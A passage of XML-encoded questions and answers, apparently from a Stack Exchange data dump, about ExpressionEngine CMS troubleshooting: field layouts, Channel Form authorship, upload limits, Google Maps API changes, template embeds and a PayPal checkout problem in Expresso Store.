  <row Id="34877" PostTypeId="2" ParentId="34856" CreationDate="2015-11-26T12:04:21.217" Score="0" Body="&lt;p&gt;I think it's possible but it would require some major MYSQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I'm thinking is you set up the new site, set up the fields, channels, etc you want then get to moving the data from one table to its new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done something similar with moving field data between new channels and fields, but I don't use MYSQL often so I can't help much further, unfortunatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to create some dummy entries to get your entry IDs up, (I can't remember how EE handled that part).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously a massive task, made even bigger if you have a lot of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-11-26T12:04:21.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34878" PostTypeId="1" CreationDate="2015-11-26T14:40:24.963" Score="4" ViewCount="1008" Body="&lt;p&gt;In EE2 there was a mechanism whereby the user/admin could move the channel fields about on a channel entry edit page and change their width to wrap short ones next to each other etc&#xA;This allowed the page to be much more compact and let the field creator create fields in any arbitrary order as they could be reordered later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this still available in EE3? At present it appears as though the fields are displayed in 'natural' order and no reordering is present which results in some &lt;em&gt;very&lt;/em&gt; long channel entry pages&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2017-09-21T20:23:59.947" Title="Channel Field sort order in EE3" Tags="|control-panel|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34881" PostTypeId="1" CreationDate="2015-11-27T10:02:25.300" Score="0" ViewCount="71" Body="&lt;p&gt;i have a Channel Form that will allow users to apply for a job post, users are registered and logged in when applying, how can i assign the authorship of that entry to the author of the job post (recruiter)? Right now the form works and reflects the author as the job seeker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;channel=&quot;recruiter_job&quot;  &#xA;status=&quot;open|featured|draft&quot;&#xA;require_entry=&quot;yes&quot; &#xA;limit=&quot;1&quot; &#xA;dynamic=&quot;no&quot;&#xA;entry_id=&quot;{segment_3}&quot; &#xA;disable=&quot;trackbacks|pagination&quot;&#xA;}&#xA;&#xA;&amp;lt;h3&amp;gt;Applying for : {title} &amp;lt;/h3&amp;gt;&#xA;&amp;lt;hr&amp;gt;&#xA;&#xA;{exp:channel:form &#xA;channel=&quot;application&quot; &#xA;return=&quot;/jobs/apply/ENTRY_ID/application&quot; &#xA;include_jquery=&quot;yes&quot;&#xA;include_assets=&quot;yes&quot; &#xA;error_handling=&quot;inline&quot; &#xA;preserve_checkboxes=&quot;yes&quot; &#xA;class='custom'&#xA;datepicker=&quot;no&quot;&#xA;logged_out_member_id=&quot;{author_id}&quot;&#xA;}&#xA;&#xA; {if global_errors}&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;{global_errors}{error}{/global_errors}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA; {embed=&quot;includes/title_job&quot; author_id=&quot;{author_id}&quot; } {!-- /EMBED AUTHOR ID OF THE RECRUITER--}&#xA;&#xA; {field:job_application}&#xA;{if error:job_application}{error:job_application}{/if}&#xA;&#xA;&#xA;{/exp:channel:form} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-11-27T10:47:41.033" Title="Assign Authorship Channel Form" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34882" PostTypeId="2" ParentId="34881" CreationDate="2015-11-27T10:47:41.033" Score="1" Body="&lt;p&gt;So your seeker user is logged in? The &lt;code&gt;logged_out_member_id&lt;/code&gt; parameter will not work then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting author_id with a hidden input, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;{author_id}&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that also does not work, consider having instead a custom field containing member_id of recruiter.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-11-27T10:47:41.033" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34883" PostTypeId="2" ParentId="17545" CreationDate="2015-11-27T12:21:58.290" Score="0" Body="&lt;p&gt;I know this is old, but is it also what google gave me for this issue, and it doesn't have an answer yet but I just fixed my problem with 2 possible things that may have been giving this error. &#xA;Seems obvious now, but it's often the obvious things that trip you up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using Grid field with a file field (both native EE)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I was trying to upload a file type that wasn't allowed in the particular directory I had assigned to the file field&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;The user group of the user I was logged in as didn't have permission to access the directory assigned to the file field. Both of these corrected the error has stopped.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2015-11-27T12:27:20.013" LastActivityDate="2015-11-27T12:27:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34884" PostTypeId="1" AcceptedAnswerId="34926" CreationDate="2015-11-27T13:00:11.723" Score="0" ViewCount="117" Body="&lt;p&gt;I am getting a error every time I try and upload an image using channel images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no file size or dimension restrictions in upload preferences, its a simple .jpg about 50kb. Max upload is set to 8mb. tried .png too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error: &quot;success&quot;:&quot;no&quot;,&quot;body&quot;:&quot;No file was uploaded or file is not allowed by EE.(See EE Mime-type settings).&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.9&#xA;Channel Images 5.4.19&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2015-12-03T07:37:31.770" Title="Channel Images: &quot;success&quot;:&quot;no&quot;,&quot;body&quot;:&quot;No file was uploaded or file is not allowed by EE.(See EE Mime-type settings).&quot;}" Tags="|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34885" PostTypeId="2" ParentId="34878" CreationDate="2015-11-27T15:00:09.020" Score="5" Body="&lt;p&gt;This feature has moved to the &quot;Layouts&quot; section of the Channel Manager. (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/channel/layouts/index.html&quot; rel=&quot;noreferrer&quot;&gt;See docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qy9gz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qy9gz.png&quot; alt=&quot;Channel Manager screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-27T15:00:09.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34886" PostTypeId="1" AcceptedAnswerId="34914" CreationDate="2015-11-27T15:23:16.520" Score="0" ViewCount="100" Body="&lt;p&gt;My client is using version 1.6.5 of Store with the PayPal Express gateway and 2.5.5 of ExpressionEngine for a site we built a couple of years ago. Suddenly, over the last couple of weeks, there have been many incomplete transactions. Users are complaining that they are either unable to get onto the PayPal site at all after putting in their details, or those that can get onto PayPal can't click to complete the purchase. Other orders are getting through fine. I have been unable to replicate the problem on my end despite ordering several items. Still, there are several incomplete transactions every day and my client is getting upset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very costly and time consuming to upgrade Store and EE (the current version of Store won't work with my version of EE according to the website) and my client isn't really in the position to authorise this kind of cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what's causing the sudden problem? I checked with the web host and they haven't done anything to the server. Does anyone know of a fix for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2015-12-02T14:09:04.083" Title="Problem with Expresso Store and PayPal" Tags="|expresso-store|expresso|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34887" PostTypeId="1" CreationDate="2015-11-27T16:07:03.120" Score="0" ViewCount="64" Body="&lt;p&gt;I have a strange problem with CSS path in source code. Everything works actually well but when I open the source code in browser I can see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;https://testdomain.com/////////////////////////////////////?css=CSS/thumbss.v.1447957170&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My code in CMS looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{stylesheet='CSS/thumbs'}&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why there is so many slashes and how to remove them? Website works well and I do not have any issues but I'd like to clean the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work with EE 3.0.4 and Transcribe module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I found something else. I have 3 languages, English as default. And the problem exists with English only. If I change the language the source code is as should be. Hmmm......&lt;/p&gt;&#xA;" OwnerUserId="6882" LastEditorUserId="6882" LastEditDate="2015-11-28T13:40:44.840" LastActivityDate="2016-06-10T06:55:25.597" Title="Slashes in CSS path" Tags="|css|path|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34892" PostTypeId="2" ParentId="34887" CreationDate="2015-11-28T14:19:09.113" Score="0" Body="&lt;p&gt;Finally I found the reason and solution. English was set up as a default language and I switched off prefix for this language in Transcribe settings. Other languages have been set up with prefixes. When I switched on the prefix for English problem gone. However that's strange an looks like a bug in Transcribe.&lt;/p&gt;&#xA;" OwnerUserId="6882" LastActivityDate="2015-11-28T14:19:09.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34893" PostTypeId="1" AcceptedAnswerId="34896" CreationDate="2015-11-30T17:09:54.993" Score="1" ViewCount="104" Body="&lt;p&gt;I'm using EE 2.8.1 and Gmap 3.2.7.  I'm suddenly getting a message &quot;You must enter a location in the &quot;custom field&quot; field&quot; when I try and save an entry.  This is happening even though we have entered a location;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zDdBO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDdBO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-12-01T09:01:09.830" Title="Gmap - You must enter a location in the field" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34894" PostTypeId="1" CreationDate="2015-11-24T20:35:32.810" Score="1" ViewCount="52" Body="&lt;p&gt;I am trying to allow the user to autologin on registration rather than activate via email, and have set 'Require Member Account Activation?' to 'No activation required' and turned 'Require email confirmation' to 'No' in Zoo Visitor settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these both set, when I go to register on the front end, it still sets my new account to 'Pending' and doesn't autologin - which I need it to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the standard expressionengine registration form and that worked, creating a new member with the correct member group, rather than 'Pending', so I believe it to be a problem with Zoo Visitor somewhere, but can't figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked in the database to see if any of the settings are different to what are set in the CMS but everything looks okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding the 'allowed_groups' parameter and also the autologin but none of these help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding a field with the member group_id within the registration form but that had no effort either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The zoo visitor login form still works too so I'm a bit stumped really!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1971" OwnerDisplayName="Tom Pickering" LastActivityDate="2015-11-30T23:03:36.640" Title="Zoo Visitor registration and autologin issues" Tags="|registration|zoo|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34896" PostTypeId="2" ParentId="34893" CreationDate="2015-12-01T09:01:09.830" Score="3" Body="&lt;p&gt;There seems to have been a recent change in the gmap API. See if &lt;a href=&quot;https://ellislab.com/forums/viewthread/248463/&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; can shed some light on your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;javascript('https://maps.google.com/maps/api/js?sensor=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;javascript('https://maps.google.com/maps/api/js?v=3.22&amp;amp;sensor=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;gmap/ft.gmap.php&lt;/code&gt; might help.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-01T09:01:09.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34897" PostTypeId="1" CreationDate="2015-12-01T12:05:20.980" Score="0" ViewCount="43" Body="&lt;p&gt;I have a channel image field set in one of my channels. Curiously this field allows me to delete an image from one channel entry but on another channel entry it allows me to unlink the image instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find out why.&#xA;Can anyone explain?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-12-03T02:33:32.747" Title="Cannot delete channel image" Tags="|devdemon|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34899" PostTypeId="1" AcceptedAnswerId="34900" CreationDate="2015-12-01T14:05:01.463" Score="3" ViewCount="603" Body="&lt;p&gt;I've just noticed that the Google Maps for ExpressionEngine fieldtype no longer seems to be plotting markers onto the map for new entries in the control panel. When I enter a location and search, nothing happens. It should plot a marker on the map. I have a few sites that use this add-on, and the same issue is happening on each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going wrong with this? I know the add-on is no longer supported, but if anyone has run into the same issue and knows a fix, please let me know. I suspect it might be a Google API change or even a call-back to the Objective HTML servers/services that is suddenly causing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ExpressionEngine 2.7.2 and Google Maps for EE 3.3.8.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2016-06-14T13:53:17.670" Title="Google Maps for EE stopped plotting markers for new entries in the control panel" Tags="|control-panel|google-maps-for-ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34900" PostTypeId="2" ParentId="34899" CreationDate="2015-12-01T14:50:29.680" Score="6" Body="&lt;p&gt;There seems to have been a recent change in the gmap API. See if &lt;a href=&quot;https://ellislab.com/forums/viewthread/248463/&quot;&gt;this thread&lt;/a&gt; can shed some light on your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;javascript('https://maps.google.com/maps/api/js?sensor=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;theme_loader-&amp;gt;javascript('https://maps.google.com/maps/api/js?v=3.22&amp;amp;sensor=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;gmap/ft.gmap.php&lt;/code&gt; might help.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-01T14:50:29.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34901" PostTypeId="1" CreationDate="2015-12-01T14:56:32.663" Score="1" ViewCount="220" Body="&lt;p&gt;I am kind of new to loadbalancing. I've been tasked up with figuring out how to load balance our servers that run ExpressionEngine. We are using two plugins, Assets and CE_Image. I've been reading up online that it's not possible to have multiple servers running expressionengine. Firstly, is there a work-around on being able to have multiple expressionengine instances running on different servers? Secondly does anyone have experience with issues regarding to extensions while having multiple expressionengine systems running? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our server is running on AWS and using nginx web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6862" LastActivityDate="2015-12-01T14:56:32.663" Title="Load-Balancing with ExpressionEngine" Tags="|performance|aws|nginx|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34902" PostTypeId="2" ParentId="22207" CreationDate="2015-12-01T15:31:43.780" Score="1" Body="&lt;p&gt;You can style the submit button by adding a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:submit attr:class=&quot;button&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(at least, as of 4.2.4)&lt;/p&gt;&#xA;" OwnerUserId="6886" LastActivityDate="2015-12-01T15:31:43.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34903" PostTypeId="2" ParentId="34884" CreationDate="2015-12-01T22:26:06.803" Score="0" Body="&lt;p&gt;Is this happening locally or on a host?  Can you upload that file via the EE File manager?  When I got a similar error (for a larger file) using Channel Images, the fix was to tweak my settings.  Here is what I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_execution_time = 600&#xA;max_input_time = 600&#xA;memory_limit = 256M&#xA;post_max_size = 200M&#xA;upload_max_filesize = 200M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or via .htaccess (if your host allows)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value upload_max_filesize 200M&#xA;php_value post_max_size 200M&#xA;php_value max_execution_time 600&#xA;php_value max_input_time 600&#xA;php_value memory_limit 256M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-12-01T22:26:06.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34904" PostTypeId="2" ParentId="32509" CreationDate="2015-12-02T00:10:17.380" Score="0" Body="&lt;p&gt;It was a while back but I think it was a permissions issue on this instance of the site -- the /htdocs folder itself had permissions that were too strict. &lt;/p&gt;&#xA;" OwnerUserId="1312" LastActivityDate="2015-12-02T00:10:17.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34905" PostTypeId="1" AcceptedAnswerId="34918" CreationDate="2015-12-02T00:32:19.707" Score="0" ViewCount="94" Body="&lt;p&gt;I have created a .header template that goes in all of the content templates on a site. However, there are only two templates that require additional jQuery code inside the .header template. I don't want to include the secondary code in all template. I have reviewed the documentation &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and know that it is possible to conditionally embed the extra code. I just can't find where that information is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the normal embed code for including the .header template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I am trying to accomplish in English:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;embed .header template, if the template is page_visit embed .map_code&#xA;  in .header template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My attempt - which doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header&quot; {if template=&quot;page_visit&quot;} embed=&quot;inc/.map-code&quot;{/if}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to do this?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-12-02T14:33:52.233" Title="How do you conditionally embed a template based on template name?" Tags="|templates|embeds|advanced-conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34906" PostTypeId="1" AcceptedAnswerId="34923" CreationDate="2015-12-02T00:32:53.297" Score="0" ViewCount="67" Body="&lt;p&gt;I've been trying to use the sample code from Pixel and Tonic for accessing playa data in a matrix field (ee2.10, playa 4.5.2, matrix 2.6.1). They provide a very clear example which I cannot get to work. Here's their example which is exactly what I want to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_field var_prefix=&quot;spkr&quot;}&#xA;    {spkr:favorite_bands} {!-- a Playa column --}&#xA;        {albums var_prefix=&quot;albm&quot;} {!-- a Matrix field inside the band channel --}&#xA;            {spkr:row_count}.{albm:row_count} - {albm:album_title}&#xA;        {/albums}&#xA;    {/spkr:favorite_bands}&#xA;{/my_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, using this as I guide I get no results. I've had to modify the above code and instead of accessing the playa column as suggested above, I've had to resort to a playa children tag which seem less efficient. Here's my code using the above as a guide that results in no output from the playa column. I'm wondering if other's have tried using P&amp;amp;Ts example with or without success.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{neighborhood_plans var_prefix=&quot;npd&quot; search:neighborhood_plan_availability=&quot;not hide&quot;}{!-- Matrix field in neighborhood channel --}&#xA;    {neighborhood_plan var_prefix=&quot;pd&quot;}{!-- Playa column in matrix field in neighborhood channel --}&#xA;        {pd:title}&#xA;    {/neighborhood_plan}&#xA;{/neighborhood_plans}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="857" LastEditorUserId="857" LastEditDate="2015-12-02T17:00:27.980" LastActivityDate="2015-12-02T19:46:34.733" Title="Playa in a matrix column P&amp;T example" Tags="|matrix|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34907" PostTypeId="1" AcceptedAnswerId="34917" CreationDate="2015-12-02T01:51:48.443" Score="1" ViewCount="51" Body="&lt;p&gt;When you set up a coupon code, you can specify how many times it can be used per customer (via the &quot;Per User Limit&quot; field). However, how does CartThrob keep track of this? I assume by member ID, if the user is logged in. But what if they're not logged in? Is it by IP address, by the billing/shipping info they enter for their order, or some other method?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2015-12-02T14:23:44.607" Title="How does CartThrob limit coupon code usage?" Tags="|cartthrob|coupon-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34908" PostTypeId="2" ParentId="34905" CreationDate="2015-12-02T06:57:36.527" Score="1" Body="&lt;p&gt;You will need to determine which template you are on. You should be able to use &lt;code&gt;{template_name}&lt;/code&gt; for this. Then a simple conditional will do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header&quot;}&#xA;&#xA;{if &quot;{template_name}&quot; == &quot;page_visit&quot;}&#xA;    {embed=&quot;inc/.map-code&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also pass the template name on to .header, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header&quot; my_template_name = &quot;{template_name}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in .header use a conditional like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{embed:my_template_name}&quot; == &quot;page_visit&quot;}&#xA;&#xA;    {!-- calling template is page_visit, embed code for it --}&#xA;&#xA;{/if}&#xA;&#xA;{!-- here goes the rest of your code common to all templates --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6825" LastEditorUserId="6825" LastEditDate="2015-12-02T13:18:34.103" LastActivityDate="2015-12-02T13:18:34.103" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34909" PostTypeId="2" ParentId="5311" CreationDate="2015-12-02T06:59:13.740" Score="0" Body="&lt;p&gt;I understand there has been a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#template-name&quot; rel=&quot;nofollow&quot;&gt;variable {template_name}&lt;/a&gt; for some time.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-02T06:59:13.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34911" PostTypeId="1" CreationDate="2015-12-02T10:09:02.000" Score="0" ViewCount="15" Body="&lt;p&gt;Noticed this particular issue with a site. I am currently using EE 2.7.3 and whenever I try doing a search under the &quot;EDIT&quot; section in the search field, I get a spinning wheel of death. Nothing happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rQpyv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQpyv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6440" LastActivityDate="2015-12-02T14:15:52.953" Title="Entry Search - Spinning Wheel of Death" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34912" PostTypeId="2" ParentId="34670" CreationDate="2015-12-02T12:17:39.370" Score="0" Body="&lt;p&gt;When you go to Add Ons -&gt; Fieldtypes in the Admin, it shows fieldtypes that are not installed to give the option of installing. So it will read the file ft.subs_plan_selector.php even if its not installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the file ft.subs_plan_selector.php is calling subs/autoload.php right at the top, which will go onto calling the AddOns other methods and functions which will include reading the table, which doesn't exist of course as its uninstalled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the uninstalled subs folder out of third_party (delete from server) fixed this for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it should be addressed by DevDemon of course. The expected behaviour is the subs folder can sit in third_party uninstalled and not affect the site. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2015-12-02T12:17:39.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34913" PostTypeId="1" AcceptedAnswerId="34915" CreationDate="2015-12-02T12:36:35.283" Score="0" ViewCount="40" Body="&lt;p&gt;I need to show product prices including applicable tax in product form. I have tags like {price} {regular_price} but none of them can show price inclusive tax. I see that {price_inc_tax} was available in store 1 but deprecated in store 2. Is there any alternative available for it on store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2015-12-02T15:34:04.580" Title="Alternative to price_inc_tax in expresso store 2" Tags="|expresso-store|ee2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34914" PostTypeId="2" ParentId="34886" CreationDate="2015-12-02T14:09:04.083" Score="2" Body="&lt;p&gt;We found exactly the same problem with EE 2.5.5, Expresso Store 1.6.5 and PayPal Express with a client website. I believe something changed at PayPal which has affected the ability of Expresso Store to communicate with PayPal in the way that it always has. We were warned about the IPN changes but this should not affect the workings on Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find it useful to know that for us it only seemed to affect 'Guest Checkout' transactions. I.e. transactions where a customer wanted to pay with a credit/debit card at PayPal. Its unlikely you will replicate the issue if you simply log in to a registered PayPal account and try to pay. These transactions seemed to be going through without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appear to have been changes on the PayPal Express Checkout page that makes it harder for the user to pay with a credit/debit card. At the point where the customer opts to pay with a card, fills in their card details and then has to agree to Guest Checkout terms that transactions would not proceed forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Our solution was to integrate Stripe for card processing.&lt;/strong&gt; I had already started the developing the checkout process for inclusion of Stripe as my client wasn't happy about how PayPal was pushing their customers to register. When the problem you describe was spotted we decided to complete the Stripe integration as this was going to be quicker to implement than troubleshooting further the PayPal changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following successful Stripe integration we switched off PayPal Guest Checkout with PayPal now being 'Account 